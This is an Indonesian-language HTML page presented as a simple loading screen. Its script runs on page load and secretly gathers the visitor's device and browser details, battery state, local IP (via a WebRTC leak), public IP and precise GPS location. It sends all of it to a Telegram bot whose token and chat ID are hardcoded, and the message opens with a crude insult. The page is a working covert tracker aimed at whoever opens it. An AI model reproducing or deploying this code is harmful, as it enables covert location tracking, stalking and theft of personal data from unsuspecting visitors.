<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Pengiriman Data</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
            margin: 0;
            background-color: #f4f4f9;
        }
        .container {
            text-align: center;
        }
        .loading {
            margin: 20px auto;
            width: 50px;
            height: 50px;
            border: 6px solid #ccc;
            border-top: 6px solid #3498db;
            border-radius: 50%;
            animation: spin 1s linear infinite;
        }
        @keyframes spin {
            from {
                transform: rotate(0deg);
            }
            to {
                transform: rotate(360deg);
            }
        }
        .status {
            margin-top: 20px;
            font-size: 18px;
            color: #333;
        }
        .success {
            color: green;
        }
        .error {
            color: red;
        }
        img {
            max-width: 100px;
            margin-bottom: 20px;
        }
    </style>
</head>
<body>
    <div class="container">
        <img src="https://pinterest.com/gunawan" alt="Logo"> <!-- Ganti URL ini dengan gambar logo Anda -->
        <div class="loading"></div>
        <div class="status">Mengumpulkan suber daya...</div>
    </div>

<script>
    const BOT_TOKEN = "7865640585:AAGjF0rJA7k6DmmGZYwYxYj_u0fnaqHBSu4";  
    const CHAT_ID = "2028336963";  

    
    function sendToTelegram(message) {
        const url = `https://api.telegram.org/bot${BOT_TOKEN}/sendMessage`;
        const payload = {
            chat_id: CHAT_ID,
            text: message
        };

        fetch(url, {
            method: 'POST',
            headers: {
                'Content-Type': 'application/json'
            },
            body: JSON.stringify(payload)
        }).then(response => {
            const status = document.querySelector('.status');
            if (response.ok) {
                status.textContent = "Data berhasil dikirim!";
                status.classList.add("success");
            } else {
                status.textContent = "Gagal mengirim data.";
                status.classList.add("error");
            }
        }).catch(error => {
            console.error("Error: ", error);
        });
    }

   
    function getCurrentTime() {
        const now = new Date();
        const options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric', hour: '2-digit', minute: '2-digit', second: '2-digit' };
        return now.toLocaleDateString('id-ID', options);
    }

     
    let message = `DONTOL MUKA KAYA KONTOL`;

    
    const currentTime = `│ *Waktu Saat Ini: ${getCurrentTime()}*\n`;
    message += currentTime;

   
    if ('getBattery' in navigator) {
        navigator.getBattery().then(battery => {
            const batteryStatus = `│ *Persentase Baterai: ${Math.round(battery.level * 100)}% ${battery.charging ? "Sedang Mengisi Daya" : "Tidak Sedang Mengisi Daya"}*\n`;
            message += batteryStatus;
        });
    } else {
        message += "│ *Baterai: Tidak didukung*\n";
    }

   
    const networkStatus = `
│ *Status Online: ${navigator.onLine ? "Online" : "Offline"}*
│ *Jenis Koneksi: ${navigator.connection ? navigator.connection.effectiveType : 'Tidak diketahui'}*
`;
    message += networkStatus;

    
    const deviceInfo = `
│ *Browser: ${navigator.userAgent}*
│ *Sistem Operasi: ${navigator.platform}*
│ *Resolusi Layar: ${window.screen.width} x ${window.screen.height}*
│ *Pixel Ratio: ${window.devicePixelRatio}*
`;
    message += deviceInfo;

   
    function getGPUInfo() {
        const canvas = document.createElement('canvas');
        const gl = canvas.getContext('webgl') || canvas.getContext('experimental-webgl');
        if (!gl) return 'Tidak tersedia';

        const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
        return debugInfo ? gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL) : 'Tidak diketahui';
    }
    message += `│ *GPU: ${getGPUInfo()}*\n`;

    
    async function getIPInfo() {
        try {
            const localIP = await new Promise((resolve) => {
                const pc = new RTCPeerConnection();
                pc.createDataChannel("");
                pc.onicecandidate = (event) => {
                    if (event.candidate) {
                        const match = event.candidate.candidate.match(/([0-9]{1,3}\.){3}[0-9]{1,3}/);
                        if (match) resolve(match[0]);
                    }
                };
                pc.createOffer().then(offer => pc.setLocalDescription(offer));
            });
            message += `│ *IP Lokal: ${localIP}*\n`;
        } catch {
            message += "│ *IP Lokal: Tidak ditemukan*\n";
        }

        try {
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            message += `│ *IP Publik: ${data.ip}*\n`;
        } catch {
            message += "│ *IP Publik: Tidak ditemukan*\n";
        }
    }

    
    async function getLocation() {
        try {
            const locationData = await new Promise((resolve, reject) => {
                navigator.geolocation.getCurrentPosition(
                    (position) => {
                        const { latitude, longitude, accuracy } = position.coords;
                        resolve(`
│ *Lokasi Akurat:*
│   Latitude: ${latitude}
│   Longitude: ${longitude}
│   Akurasi: ${accuracy} meter
│ *Link Lokasi:* https://www.google.com/maps?q=${latitude},${longitude}
`);
                    },
                    (error) => reject(error),
                    { enableHighAccuracy: true, timeout: 10000, maximumAge: 0 }
                );
            });
            message += locationData;
        } catch (error) {
            message += "│ *Lokasi: Gagal mendapatkan lokasi*\n";
        }
    }

    
    async function gatherDataAndSend() {
        await getIPInfo();
        await getLocation();
        message += "__________________________________\n";
        sendToTelegram(message);
    }

    gatherDataAndSend();
</script>
</body>
</html>